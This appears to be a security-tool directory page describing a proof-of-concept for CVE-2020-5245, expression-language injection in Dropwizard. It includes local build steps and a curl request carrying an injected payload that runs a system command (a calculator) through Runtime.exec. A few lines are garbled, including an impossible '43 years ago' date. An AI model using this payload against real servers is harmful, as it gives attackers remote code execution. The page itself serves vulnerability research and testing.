Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-5245 — Proof-of-concept exploit for CVE-2020-5245, demonstrating expression language injection in Dropwizard REST endpoints via crafted HTTP parameters. | Kitploit
Tools/GitHubGitHub/lycshub/cve-2020-5245
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHublycshub/cve-2020-5245

CVE-2020-5245

Proof-of-concept exploit for CVE-2020-5245, demonstrating expression language injection in Dropwizard REST endpoints via crafted HTTP parameters.

View Repository
43 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2020-5245

  1. Run mvn clean install to build your application
  2. Start application with java -jar target/dropwizard-1.0-SNAPSHOT.jar server config.yml
  3. To check that your application is running enter url http://localhost:8080

some error in pom.xml plugins were not affected reproduce

Reproduce

curl http://localhost:8080/bookService/selfValidatingBeanParam?answer=${%27%27.getClass().forName(%22javax.script.ScriptEngineManager%22).newInstance().getEngineByName(%22JavaScript%22).eval(%22java.lang.Runtime.getRuntime().exec(%27/usr/bin/gnome-calculator%27)%22)}

Download Tool